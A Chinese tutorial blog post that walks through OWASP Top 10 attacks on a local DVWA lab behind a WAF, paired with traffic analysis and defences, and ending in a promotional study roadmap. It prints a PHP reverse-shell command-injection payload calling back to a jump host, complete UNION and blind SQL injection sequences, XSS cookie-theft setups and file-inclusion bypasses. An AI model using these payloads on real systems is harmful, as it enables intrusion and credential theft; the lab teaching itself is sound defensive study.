小白女友看完这篇文章后,面试工作和护网蓝队初级竟然秒通过!
前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请联系。
还在学怎么挖通用漏洞和src吗?快来加入学习交流
0x01 前言
本次环境以DVWA靶场(不太安全的网站)及CTF题目(夺旗赛)先对OWASP TOP10漏洞原理通俗概述,接着对基础代码解析,然后执行的命令落地到本地复现,前端进行复现后分析流量包,植入CTF题目,最后演示WAF流量经过,以及最高级别代码防护分析包括最终流程图,分析较为详细,对于初学者,网安爱好者及蓝队初级、运维等比较友好,在正常面试安全岗位时,也可能会问到理论问题,安全设备的了解,链路流量的走向,包括HVV蓝队初级最低也会问到常见攻击手法的理解和防护!
注:流程示意图以我本地网络层-应用层传输为例、并非现实通用
**结尾有流量包下载及全过程详细流程图(本地模拟)
**
Brute Force (爆破)``Command Injection (命令注入)``CSRF (跨站请求伪造)``File Inclusion (文件包含)``File upload (文件上传)``SQL Injection (SQL注入)``SQL Injection (Blind) (SQL盲注)``XSS (反射型XSS)``CROSS XSS (存储型XSS)
**如果您看完文章觉得不错,麻烦点个关注点个赞分享一下、谢谢!**
*** 本次学习环境为自行搭建,文章仅用于参考学习,请勿非法操作、后果自负
**
0x02 环境准备
**DVWA搭建-docker**
docker search dvwa # 我选的第一个``docker pull sagikazarmark/dvwa #下载到本地``docker run -it --restart -p 8001:80 sagikazarmark/dvwa #将此镜像启动容器并开机自启
WAF搭建-docker
https://waf-ce.chaitin.cn/docs/guide/install #长亭雷池waf安装方法
各网卡及IP如下
192.168.150.1 #客户端IP``192.168.150.31:9443 #长亭WAF WEB管理页面``192.168.150.31:8001 #DVWA实际地址``192.168.150.31:90 #靶场映射WAF反向代理端口``192.168.150.2 # kali作为跳板机使用``内网:``172.17.0.1 #docker0网卡 docker虚拟网卡``172.17.0.2 #DVWA在docker内IP``172.22.222.1 #safeline-ce网卡 雷池waf虚拟网卡
CTF(夺旗赛)
通俗来说就是以实际环境中的事件或自发性自编环境,以题目的方式呈现给比赛者去做题。当比赛者通过漏洞或题目要求拿到flag(旗帜)的时候,就算成功,也就是这块的漏洞利用成功
0x03 思路解析
**Brute Force(野蛮的力量)**
也称为爆破,拥有账号密码对相应的登录接口进行爆破、或根据网站规则及拿到的一些信息进行"撞库"
危害:爆破成功后任意操作管理员或用户账号,如发送信息,后续渗透,获取敏感信息等
于是,我拿着他的SQL语句替换了user及pass然后进行查询
`SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';```select * from users where user='admin' and password='21232f297a57a5a743894a0e4a801fc3'; # 错误的密码```select * from `users` where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99'; # 正确的密码`
前期代码解读完成,然后我们实操,直接burp抓包导入字典爆破
可以看到,当用户名为admin、密码为password的时候与其他包不一样,经过验证,账号密码就是这个,我们此时看抓取的流量包
可以看到,网站并没有进行相应的拦截
如何防守?
我们可以在WEB页面做一些限制``比如token,比如对请求IP限制,当然IP可以伪造``防止SQL注入,对传入数据进行处理``再或者就是账号密码错误3次后冻结多少分钟,前端输入密码后进行非对称加密等``安全设备就是对频率做限制,匹配字典规则满足后进行自动封禁
接着我们看waf,我给waf定义的规则是当10秒内请求次数高达100次的时候我们进行封禁IP10分钟,当然这个可以调
当我们发送请求包到200多的时候,包长度变了,不是密码错误包长也不是密码正确包长
这时候可以看到,WAF人机判断你的IP可能正在进行爆破或CC攻击,加载出验证码
我们这时候看后台数据,能看到客户端IP做的操作
我们拆解一下最高级别做了哪些防护
第3-5行做了一个token防止CSRF攻击``第8-16行对用户的输入做了处理,stripslashes函数去除输入的反斜杠等符号防止SQL注入,然后进行MD5加密``第19-27行先定义此用户的最大失败次数及锁定时间,然后SQL查询此用户是否已超过失败次数及是否超过锁定时间``第45-50行验证账号密码是否正确,":user"可以防止SQL注入,limit1只返回一条数据``第60行登录成功则返回该用户的头像并welcome``第64行后如果登录失败则提醒登录失败,然后加载2-4秒,防止爆破``接着就是对登录失败次数+1,然后对最后登录失败时间更新``生成一个新的token令牌,防止CSRF
**Command Injection (命令注入)**
命令注入通俗来讲就是开发者对于某些功能需要调用系统命令去执行一些操作,或者是某些代码块因为逻辑上未知造成命令执行、再或者前端某些头部字段可能存在的注入点,而没有对客户端传入的数据进行过滤或固定,造成攻击者可以进行自定义传入命令或绕过传入命令的行为
危害:攻击者拥有了命令执行后就相当于获得了服务器操作权限,攻击者可以根据漏点进行反弹shell以获取服务器shell,然后执行提权,植入后门或者其他危害性操作行为
按照正常业务引导,我们正常输入地址,回显出正常结果
而已知Linux分隔符,我们可以带入其他命令,看下图
可以看到我们使用分号进行分隔,执行了whoami命令,看到了www-data用户,将实际命令带入到Windows和Linux中看一下
接下来我们在网页输入以下命令在前端执行,获取服务器shell
kali: nc -lnvp 8888``网页: 127.0.0.1;php -r '$sock=fsockopen("192.168.150.2",8888);exec("sh <&3 >&3 2>&3");'
在抓取的流量包内输入以下过滤条件看一下流量走向
ip.addr == 192.168.150.2 || ip.addr == 192.168.150.1 && tcp.port != 22
**接下来我们看一道CTF题目**
如何防守?
可以进行关键字的过滤,对大小写的过滤,对符号的过滤,对编码的过滤``后端把此功能固定,前端只能输入相应的格式``在安全设备方面则从流量检测命令执行的特征``比如正常的win和Linux的命令,对于编码的检测,对于绕过方式的检测``如:双写,大小写,分隔符等
**对WAF进行测试**
为了清晰看到WAF流量经过,我们抓取了靶场和WAF的流量对比
在safeline_ce网卡流量包中``第一块大概就是网关传入流量,先进行初步过滤,然后容器向后推送``第二块就是对日志进行记录,比如请求包,payload,ID等``第三块就是入库操作,查询操作等
我们拆解一下最高级别做了哪些防护
第4-6行先接收传入进来的IP,接着生成一个TOken防止CSRF攻击``第9-10行将接收到的IP赋值给$target然后使用stripslashes函数过滤掉一些字符``第16-18行筛选八位字节是否为数字,验证是否为IP,接着将他重新组合为IP赋值给target``第21-28行进行正常ping命令操作,最后在根据相应结果输出``末尾重新生成一个Token
CSRF(跨站请求伪造)
通俗的来讲,某些操作如:更改密码,发布帖子,更新配置等操作,在非本意的情况下,点击了CSRF伪造的按钮功能,在用户已登录的情况下,未知进行的操作
危害:主要目的是对WEB方面的用户及管理员用户进行的操作,比如通过钓鱼的方式诱导点击,对数据进行破坏,数据篡改等,更改用户密码后进行后续攻击等
接着我们按照自己的本意正常流程去修改密码
然后我们使用burp suite抓包生成一个CSRF的包,保存为html文件,在跳板机192.168.150.2开启一个http服务运行点击
这样看可能认为太俗了,但是实战中攻击者会美化页面比如copy钓鱼页面,诱导你点击,我们只是了解大概经过
分析在kali中抓取的流量包以及dvwa抓取的流量包
由于CSRF大多按照Referer和origin来分辨,所以WAF在此拦截识别度不高,从代码块去增加校验可以
如何防护?
限制跨站请求,从标头进行限制``对敏感操作进行二次验证,比如验证码``使用CSRF令牌,即为Token``验证Refer头部,来源进行白名单验证
我们拆解一下最高级别做了哪些防护
第3-5行通过GET方式传入后,先生成一个Token令牌防止CSRF攻击``第8-10行接收传入进来的旧密码和新密码``第13-21行先进行过滤斜杠类的字符,然后对旧密码进行MD5加密前往数据库查询``第24-34行先验证输入的两次密码是否一样然后过滤掉反斜杠之类的字符``接着就算MD5加密后前往数据库更新,此处使用了实例化参数``接着将修改成功打印出来,反之修改失败``结尾不管是不是成功,重新生成一个CSRF的令牌
File Inclusion(文件包含)
文件包含比较容易理解,即某些功能或者文件,开发者需要读取,但是由于没有对读取文件范围固定,造成了攻击者可以进行任意文件读取或任意文件包含
危害:攻击者得到任意文件读取漏洞后可以读取服务器上所有文件,以方便下一步的攻击渗透,或搭配文件上传组合拳或反弹shell组合拳等方式进行利用
这里不得不提几个常见的绕过方法,看下图
**如何防守?**
对读取文件固定如:(白名单)``if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" )``对传入协议进行限制(此处仅为限制远程文件读取)``对递归路径和编码做黑名单处理,或者白名单处理
**CTF题目环境**
**接着我们测试WAF的流量**
然后我们看一下后面的代码做了哪些限制
最高级8-11行做了固定文件,如果传入不是此文件名,则不通过``高级23-26行匹配是否"file"开头,如果file开头或者file参数为include.php则为真``此处使用file:///etc/passwd 仍然可以绕过``而中级38-39行只限制了http和https协议(远程文件读取)``以及递归目录的关键符号``这里仍然可以使用双写及多写的符号绕过
File Upload(文件上传)
通俗点讲就是某功能点,比如上传图片,上传表格,导入授权的功能,由于开发未进行严格过滤所需上传格式,造成攻击者可以进行修改文件格式、类型等任意文件上传,进行后期恶意利用,比如上传木马控制主机等
危害:攻击者通过该漏洞类型上传木马文件后可远程控制主机,达到后期渗透、内网渗透的目的
从功能本意是需要上传图片,但是开发并没有做限制,攻击者可以随意上传任意文件
**接着我们看一下下一个级别的文件上传**
**接着我们在看高级的文件上传代码**
我们此时使用以上方法生成一个图片马(这个在溯源的时候和CTF中的MISC有关系)
**如何防守?**
在代码块我们可以:``对文件扩展名前端进行检测后、上传至后端tmp后继续检测``对于文件类型到后端同样检测``对于文件大小限制苛刻``不返回文件路径``对文件名进行无规则重命名``在某些地方我们前端可以生成唯一session(从浏览器上传开始)一个session只能用一次``对于安全设备:``在流量中检测扩展名,文件类型,上传的路径``对于文件内容中的编码进行检测
**CTF题目**
**接着我们测试WAF的流量走向**
分析抓取的流量包(docker0 safeline-ce)
**我们看一下最高级代码做了哪些处理**
第一块3-5行接收来自前端POST上传,生成一个新的Token防止CSRF攻击``第二块9-13行对文件名、扩展名、文件大小、类型及临时文件路径预设参数``第三块16-20行设定了文件的路径,对文件重命名以MD5散列规则唯一ID,设定临时文件位置``第四块23-26行设定文件扩展名和文件大小为100kb,并且限制文件类型,这些都在后端去做``第五块28-37行验证为图片类型后将创建一个图片文件``并将图片文件压缩至100压缩等级为9``弟六块40-47行对临时目录文件重命名并移动至设定好的目录,然后回显
SQL Injection(SQL注入)
通俗来讲就是某功能,需要以ID或者姓名去到数据库查询信息,但是开发人员没有数据语句进行规范过滤,没有固定,攻击者可以以此SQL语句进行可控查询,从而获取更多的数据
危害:攻击者通过SQL注入漏洞可以获取数据库内敏感信息,如账号密码、销售记录、存入的更敏感身份信息等、攻击者可以进行后续渗透,或者通过SQL注入配合其他方式漏洞进行写入文件,控制服务器等
我们拿着已知的语句替换掉id去查询,就是看到的结果
SELECT first_name, last_name FROM users WHERE user_id = '$id';``SELECT first_name, last_name FROM users WHERE user_id = '1';
其实我一直糊涂的是单引号的位置或者是为什么加单引号
因为开发前面定义了单引号,否则无单引号,我们也不需要加单引号了``SELECT first_name, last_name FROM users WHERE user_id = '1';``SELECT first_name, last_name FROM users WHERE user_id = '1' or '1=1';
前后正好为一个完整的SQL语句拼接,看下图就能明白了
输入1' order by 3 #去获取列,#为注释符,将我们输入后面的字符注释掉
当order by 2 #的时候将不在报错,所以为2列
再次执行1' union select 1,2# 此处可以看到列名
1' union select 1,group_concat(schema_name) from information_schema.schemata #` `来获取所有数据库
这样看不直观,我们带入到数据库看一下
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,group_concat(schema_name) from information_schema.schemata # ;
1' union select 1,version() #获取版本信息``1' union select 1,database() # 获取当前使用数据库
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #` `查询当前使用库的所有表
1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #` `查询users表中的所有列
1' union select user,password from dvwa.users #` `前期步骤已知使用数据库名,表名,列名,直接union查询账号密码``带入到数据库查询``SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from dvwa.users #
**如何防护?**
对查询语句参数化查询``最小化权限查询,权限分明``输入验证与过滤,对输入进来的字符大小写编码不合规pass``对特殊的所需字符进行白名单处理``对敏感的字符进行报错或重定向处理``安全设备方面``对流量监控,一般SQL语句进行pass,当然有些前端可能传输的语句可能会被误报``对某些字符:' " /**/ 等进行过滤``对传输进来的可疑编码进行检测后执行下一步动作
**CTF题目**
**接下来我们看WAF流量**
**我们接着分析最高级别源代码**
第3-5行判断GET传入进来ID查询参数,接着生成一个Token令牌,防止CSRF攻击``第11-16行判断传入进的ID是否为数字,然后执行查询语句,此处语句进行参数化并只输出1条``此处防止SQL注入``然后将查询的ID进行替换绑定``第19-25行先对数据判断是否为1行接着对查询的参数中first_name和last_name进行输出
SQL Injection (Blind) (SQL盲注)
SQL盲注通俗来讲:比如登录点或者是导出数据功能点,服务端需要和数据库交互来确定数据是否存在,存在返回ture,不存在返回false,盲注和正常注入区别就是,盲注不回显所需数据,攻击者只能通过某些函数如sleep,ASCII,substr等去判断数据是否存在
危害:攻击者通过SQL注入漏洞可以获取数据库内敏感信息,如账号密码、销售记录、存入的更敏感身份信息等、攻击者可以进行后续渗透,或者通过SQL注入配合其他方式漏洞进行写入文件,控制服务器等
如:zhangsan这个数据存在,但是代码查询到了这个数据,由于功能的设置``zhangsan这个存在或不存在只能通过某些状态去显示,比如前端的账号存在或账号不存在``攻击者通过SQL语句构造payload进行sleep(延时)去判断``如数据存在则延时几秒不存在则不延时来达到攻击效果
这样看并不通透,我们看登录页面,当我第一次输入密码123456时``302重定向跳转到了登录页面,也就是前端查询到数据库内密码不匹配``但是它功能原因不会输出密码,最多告诉你密码不对或账号不对``然后第二次我们输入正确密码后302跳转到了index``也就是此次查验数据库内账号与密码全部符合
经过注入测试,发现存在注入点,且为字符型注入
使用 1' and length(database())=4#` `测试到4的时候,看到回显结果,使用数据库长度为4位
判断数据库第一位字符是字母还是数字以及区间``1' and ascii(substr(database(),1,1))>97#``1' and ascii(substr(database(),1,1))<122#``97的ASCII是a,122的ASCII是z,所以字母是小写
继续缩小范围,不嫌麻烦的话可跑脚本``1' and ascii(substr(database(),1,1))=100#``当ASCII码位100的时候,返回正确,其他返回错误``当然也可以使用大小于号去判断
继续执行语句``1' and ascii(substr(database(),2,1))=118#``1' and ascii(substr(database(),3,1))=119#``从第二个和第三个字符开始截取,分别截取1个字符``最终拼接得到数据库名为dvwa
输入以下语句后得到当前数据库中共有两张表``1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1#``此语句是查询当前数据库中的0和1个记录,就是查第一张表名的长度是否为1,limit限制查询条件``1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#``最终得到第一个表名长度为9
同样方法我们查询到第二个表长度为5``1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,2))=5#
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#``我们接着使用以上语句查询表名的第一个字母及后续字母进行拼``1' and (select count(column_name) from information_schema.columns where table_name='users')=2#``使用以上语句进行查询users表的列数量``1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=1 #``猜解users表的第一列的长度``1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1)1,1))<97#``猜解users表中的第一列的第一个字符修改数值查询后面字符``1' and ascii(substr((select user from users limit 0,1),1,1))<97#``最终逐一猜解users表中的user和password字符
如何防护?
对查询语句参数化查询``最小化权限查询,权限分明``输入验证与过滤,对输入进来的字符大小写编码不合规pass``对特殊的所需字符进行白名单处理``对敏感的字符进行报错或重定向处理``安全设备方面``对流量监控,一般SQL语句进行pass,当然有些前端可能传输的语句可能会被误报``对某些字符:' " /**/ 等进行过滤``对传输进来的可疑编码进行检测后执行下一步动作
看一下WAF流量
**看一下最高级别源码**
第3-5行判断是否GET传参进来,然后生成一个Token来防止CSRF``第11-15行对传入进来的ID进行判断是否为数字``接着进行查询,此处用到参数化查询,防止SQL注入``并且Limit限制了只显示1条SQL数据``后面对查询id进行替换与绑定``第18-27行线对查询到的数据判断是否为1行接着进行输出``如果不是一行则报错,最后不管对与错再次刷新一个Token令牌
XSS (反射型)
通俗来讲,XSS是因为攻击者在网页中插入的JavaScript恶意脚本,而浏览器只会执行JavaScript并不会去理解是否为恶意,XSS较为常见,基本上在可输入点或者更改数据点中都可能存在XSS,如果开发不进行严格过滤,危害高
危害: XSS危害基本面向用户,比如:反射型XSS会窃取用户信息,cooki身份等,存储型XSS则会持久性停留,XSS还可以钓鱼,会话劫持等,有些攻击者还可通过XSS配合其他漏洞对服务器造成危害
我们在输入框内输入了张三,前端打印出hello,张三
当我们输入<script>alert(1)</script>后,执行了JavaScript执行了弹窗,弹出1
我们继续利用CSRF配合XSS在用户未知的情况下窃取到cookie信息
准备:``XSS在线平台,用于获取用户cookie``跳板机,模拟钓鱼场景
如何防护?
对于用户的输入进行严格过滤``字符,编码,符号等进行过滤``在进行开发时不对用户输入的内容进行转义
然后我们看下WAF如何判断
**看一下最高级别代码做了什么**
第5-7行先判断传入进来的name以及是否为空``然后来一个Token防止CSRF``第10行 htmlspecialchars 函数将传入参数不进行转义``最后打印输出``第17行不论如何都重新生成一个Token
XSS(存储型)
存储型XSS的目的和反射型相同,只不过反射型需要攻击者主动攻击,而存储型攻击者只需插入代码后,利用功能特性,存入到数据库后,其他用户访问功能点时,即可达到被动攻击,一般出现在论坛、博客、或者某些特殊功能点
我正常输入了几个信息,并成功显示出了信息
于是我登录DVWA的其他用户看一下这些信息是否存在
其他用户账号信息``gordonb/abc123``1337/charley``pablo/letmein``smithy/password
然后我们模拟攻击者插入钓鱼XSS链接
插入恶意链接成功,由于JavaScript执行后是看不到正常代码的,我们查询一下mysql中的guestbook表
当有其他人访问的时候,前端因为会查询到guestbook表中指定信息,然后JavaScript自动执行XSS请求,完成无感被动恶意请求
于是我们登录上其他用户名后再次查看在线XSS平台
这里一直出现问题,不知道是不是我网络问题,发不出去请求
如何防护?
对于用户的输入进行严格过滤``字符,编码,符号等进行过滤``在进行开发时不对用户输入的内容进行转义
由于存储型和反射型的区别是持久化和一次性的原因,目的一样,WAF拦截也是一样,这里不在抓取流量包分析,直接看最高级别代码
第一块判断POST传参进来,生成一个Token,防止CSRF``第二块先对接收到字段进行反斜杠等过滤,然后就是对对象的预处理``然后对输入的值不进行转义``23-26行插入数据做了参数化操作,然后对参数做替换和绑定``最后不论成功失败重新生成一个Token
0x04总结
耗时一周时间,从构建思路到复现环境,遇到问题解决问题,适用于网络安全运维人员,相关从业人员复习巩固,及学生未就业,即将面试及护网人员基础,对OWASP TOP10进行详细解析,对漏洞进行通俗概述及阐述危害,接着以DVWA为基础解析基础代码,然后带入本地服务器或数据库进行执行,通俗易懂,然后植入部分CTF题目理解,给出大概防护方法,最后分析WAF的流量经过进行对比,画出该漏洞的流程图(流程图仅适用于本地复现,具体以实际为准)基本围绕应用层-网络层进行流量交互,全文7000余字,全是干货,希望大佬勿喷,各位师傅互相交流讨论,麻烦一键三连,谢谢
文中拓补图仅供参考,异机和本机包括配置等整体拓扑不一致,只描绘流量经过
流量包下载:``https://ckxkzyk.lanzouo.com/iJW0o1ukf0mj
网络安全学习路线&学习资源
网络安全的知识多而杂,怎么科学合理安排?
下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!
初级网工
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
【“脚本小子”成长进阶资源领取】
7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。
8、超级网工
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。
一些我自己买的、其他平台白嫖不到的视频教程:
需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。
结语
网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。
特别声明:
此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!